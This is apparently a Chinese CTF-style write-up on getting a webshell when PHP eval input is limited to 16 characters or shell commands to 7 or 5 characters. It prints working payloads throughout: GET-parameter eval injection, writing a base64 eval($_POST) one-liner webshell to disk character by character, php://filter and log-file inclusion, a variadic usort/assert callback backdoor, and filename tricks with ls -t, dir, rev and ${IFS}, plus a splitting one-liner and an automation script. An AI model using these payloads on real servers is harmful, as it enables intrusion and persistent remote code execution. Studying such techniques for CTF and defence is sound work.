EVAL长度限制突破技巧
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?
源码
1 | <?php |
这里其实很容易想到利用$_GET[1]
payload
1 | ?param=echo%20`$_GET[1]`;&1=whoami |
还有一种方法呢就是利用exec
1 | ?param=exec($_GET[1]); |
其实核心都是$_GET[1]
这里还有另一种解法,利用文件包含
远程文件包含的利用
include$_GET[1];
也是可以运行的,中间的空格可以不要。
这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。
本地文件包含的利用
那么,文件包含真的不行么?
有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
1 | param=$_GET[a](N,a,8);&a=file_put_contents |
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串’N’;第二个参数是要写入的数据,a也被转换成字符串’a’;第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。【因为默认是0 ,0是覆盖,8是追加】
开始测试
结果发现
权限不足,忘记改html为www:data,权限了
执行
1 | chown www-data:www-data /var/www/html |
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如param=$_GET[a](N,<,8);&a=file_put_contents
。但如果要写webshell的话,“<”等符号又是必不可少的。
那么我们每次向文件’N’中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。
最后请求如下:
1 | # 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw //<?php eval($_POST[1]); |
我们用蚁剑 连接试试
成功getshell。
然后这里看了P神的文章发现还可以利用以下几个方式
本地日志包含
首先通过各种方法找到web日志,然后利用上面说的include的方式来包含之。
1 | param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log |
如果找不到web日志,利用条件竞争的方法,包含tmp文件也可以。
标准答案:利用变长参数特性展开数组
变长参数是PHP5.6新引入的特性,文档在此: http://php.net/manual/zh/migration56.new-features.php
和Python中的**kwargs
,类似,在PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。
再结合回调后门,即可构造一个完美的利用,数据包如下:
1 | POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1 |
效果图:
大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']
和assert
,传入usort函数。usort函数的第二个参数是一个回调函数assert
,其调用了第一个参数中的phpinfo();
。修改phpinfo();
为webshell即可。
也就是我上一篇文章细致的研究过
Linux命令长度限制在7个字符的情况下,如何拿到shell
1 | 在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符串尾的\0,限制在7个字符。 |
这里看了来自 @超威蓝猫 px1624 师傅的奇技淫巧。
在Linux下 W>hp,可以直接写入文件名为hp的文件
其实这里也可以不用w,直接 >hp,也可以,
而且在Linux下 ls -t
这个可以安装时间顺序进行排序,也就是我们先创建的文件会排最下面,越晚创建的文件会排在最上面
这里为什么要引入\
呢? 就是为了转义ls 的换行符,因为我们只能7个字符慢慢写,还没写完,所以引入转义字符,就可以接着写啦,
这里我们也不能直接写入<
测试发现会报错
1 | echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw |base64 -d>c.php |
我们来尝试写入这个命令
因为先写的在最后面,所以我们要倒着写
这里还是要注意权限的问题
写入完毕
1 | ls -t>0 |
将他排序后的结果重定向给0
然后执行
连接也没有任何的问题
五字符
5字符我们如何拿到webshell呢?
源码
1 | <?php |
这里其实我们也可以用刚刚7字符的思路
通过 >
写入文件名来执行命令
这里引入了一个新的参数 ls -h
-h参数以易读的方式显示文件或目录大小
就比如我们构建的 ls -t > a
1 | >a\> |
因为ls是默认按照字母顺序来排序的,所以添上-h是为了让命令以正常的顺序运行
所以这里我们 将 >t-
替换为 >ht-
ls写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir会把内容全部写入一行中,同时会自动补全空格
例如
这里还有一个知识点
*
的用法
在Linux中*
大家都知道可以作为通配符使用,但是他也可以作为 命令来执行
比如
这里 我们可以看到* > v
成功 将dir的结果重定向到v中了,这是为什么呢?
查询资料后发现
正好我们这里的第一个是dir
我们还可以做一个测试
追加一个 >a
这样第一个就不是dir了,也就可以看到是否是执行dir
爆了a没找到,印证我们的看法
然后我们继续
1 | >dir |
按道理来说,按照我们前面的想法,这里*应该匹配 dir,他为什么匹配到 rev了呢?
我们可以设置一下,让shell,打印我们所执行的命令,看看他到底是匹配的什么
set -x
执行这条命令
确实是先匹配的rev 并执行的
也就是说,形如*v 这样的 他会先将 符合 这个通配符的全部文件列出来,然后取第一个再进行命令执行
接下来就可以开始拆分字符串了,第一种可以直接构造一句话木马,因为有<,?
,需要将其进行base64转换,这样payload里就没有特殊字符了
1 | 写入一句话木马 直接写入 他转为base64编码 |
需要注意的是必须要将其中一个空格用${IFS}
代替,否则会被’吃’掉一个空格
这里有个小技巧,可以利用
echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw|base64 -d>1.php' | fold -w2 | sed 's/$/\\\\/'
直接拆分,只需要注意转义即可
尝试写入
我写了一个脚本,来增加我们写入的效率
因为ls -t按时间先后顺序排序,所以需要倒置,同时加上ls -ht > a
的构造
这里要注意我们所传的值不能有重复的命名
运行脚本
完整的脚本
1 | import requests |